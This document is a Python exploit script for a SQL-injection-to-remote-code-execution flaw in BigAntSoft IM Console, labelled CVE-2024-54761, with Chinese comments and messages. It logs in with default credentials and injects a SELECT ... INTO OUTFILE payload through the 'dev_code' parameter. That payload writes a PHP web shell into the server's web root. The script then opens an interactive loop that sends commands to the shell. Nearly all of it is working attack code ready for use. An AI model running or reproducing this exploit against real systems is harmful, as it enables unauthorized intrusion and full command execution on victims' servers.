1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
|
import requests
from bs4 import BeautifulSoup
import base64
class Exploit:
def __init__(self, rhost, rport=8000, username='admin', password='123456'):
self.rhost = rhost
self.rport = rport
self.username = username.lower()
self.password = password
self.target = f'http://{self.rhost}:{self.rport}'
self.session = requests.Session()
self.headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
'X-Requested-With': 'XMLHttpRequest',
'Origin': self.target,
'Referer': f'{self.target}/index.php/Home/login/index.html',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
}
self.clientid_map = {
'admin': '1',
'security': '2',
'auditor': '3',
'superadmin': '4',
}
self.clientid = self.clientid_map.get(self.username, '4') # 如果未知用户默认使用4
def get_tokens(self):
print("[*] 获取登录页面令牌...")
url = f'{self.target}/index.php/Home/login/index.html'
r = self.session.get(url, headers={'User-Agent': self.headers['User-Agent']})
soup = BeautifulSoup(r.text, 'html.parser')
tokens = {}
meta = soup.find('meta', attrs={'name': '__hash__'})
if meta:
tokens['__hash__'] = meta['content']
form = soup.find('form')
if form:
for hidden in form.find_all('input', type='hidden'):
name = hidden.get('name')
value = hidden.get('value', '')
if name and name not in tokens:
tokens[name] = value
return tokens
def login(self):
tokens = self.get_tokens()
if '__hash__' in tokens:
tokens['__hash__'] = tokens['__hash__']
encoded_password = base64.b64encode(self.password.encode()).decode()
data = {
'saas': 'default',
'account': self.username,
'password': encoded_password,
'to': 'admin',
'app': '',
'submit': '',
}
data.update(tokens)
login_url = f'{self.target}/index.php/Home/Login/login_post'
print(f"[*] 以 {self.username} 身份登录...")
resp = self.session.post(login_url, headers=self.headers, data=data)
if resp.status_code != 200:
print(f"[-] 登录失败,HTTP {resp.status_code}")
return False
try:
json_resp = resp.json()
if json_resp.get('status') == 1:
print("[+] 登录成功!")
return True
else:
print(f"[-] 登录失败: {json_resp.get('info')}")
return False
except:
print("[-] 解析登录响应JSON失败")
return False
def check_redirect(self):
url = f'{self.target}/index.php/admin/public/load/clientid/{self.clientid}.html'
print(f"[*] 检查登录后重定向到 clientid {self.clientid} ...")
r = self.session.get(url, headers={'User-Agent': self.headers['User-Agent']}, allow_redirects=False)
if r.status_code == 302:
print(f"[+] 发现重定向到 {r.headers.get('Location')}")
return True
else:
print(f"[-] 未发现重定向,HTTP {r.status_code}")
return False
def upload_shell(self):
print("[*] 通过SQL注入上传Webshell...")
payload = ';SELECT "<?php system($_GET[\'cmd\']); ?>" INTO OUTFILE \'C:/Program Files (x86)/BigAntSoft/IM Console/im_webserver/htdocs/shell.php\'-- -'
url = f'{self.target}/index.php/Admin/user/index/clientid/{self.clientid}.html'
params = {'dev_code': payload}
r = self.session.get(url, params=params, headers={'User-Agent': self.headers['User-Agent']})
if r.status_code == 200:
print("[+] 载荷已发送,检查shell...")
self.check_shell()
else:
print(f"[-] 发送载荷失败,HTTP {r.status_code}")
def check_shell(self):
print("[*] 输入要在目标上执行的shell命令。空命令退出。")
while True:
cmd = input("shell> ").strip()
if not cmd:
print("[*] 退出shell。")
break
shell_url = f'{self.target}/shell.php?cmd={cmd}'
print(f"[*] 发送命令: {cmd}")
r = self.session.get(shell_url)
if r.status_code == 200 and r.text.strip():
print(r.text.strip())
else:
print("[-] 无响应或shell输出为空。")
def run(self):
if self.login():
if self.check_redirect():
self.upload_shell()
else:
print("[-] 重定向检查失败,中止。")
else:
print("[-] 登录失败,中止。")
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser(description='CVE-2024-54761 BigAntSoft SQL注入到RCE漏洞利用')
parser.add_argument('-r', '--rhost', required=True, help='目标IP地址')
parser.add_argument('-p', '--rport', default=8000, type=int, help='目标端口(默认8000)')
parser.add_argument('-u', '--username', default='admin', help='登录用户名(默认admin)')
parser.add_argument('-P', '--password', default='123456', help='明文登录密码')
args = parser.parse_args()
exploit = Exploit(args.rhost, args.rport, args.username, args.password)
exploit.run()
|